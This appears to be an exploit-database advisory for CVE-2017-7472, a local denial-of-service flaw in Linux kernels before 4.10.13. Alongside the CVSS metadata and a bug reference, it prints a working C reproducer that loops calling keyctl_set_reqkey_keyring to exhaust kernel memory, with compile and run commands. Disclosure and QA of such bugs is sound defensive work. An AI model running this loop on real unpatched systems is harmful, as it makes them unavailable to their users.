Linux Kernel < 4.10.13 'keyctl_set_reqkey_keyring' Local Denial of Service

2017.06.08
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-404


CVSS Base Score: 4.9/10
Impact Subscore: 6.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Complete

/* QA REPRODUCER: gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils ./CVE-2017-7472 (will run the kernel out of memory) */ #include <sys/types.h> #include <keyutils.h> int main() { for (;;) keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING); }

References:

https://bugzilla.novell.com/show_bug.cgi?id=1034862


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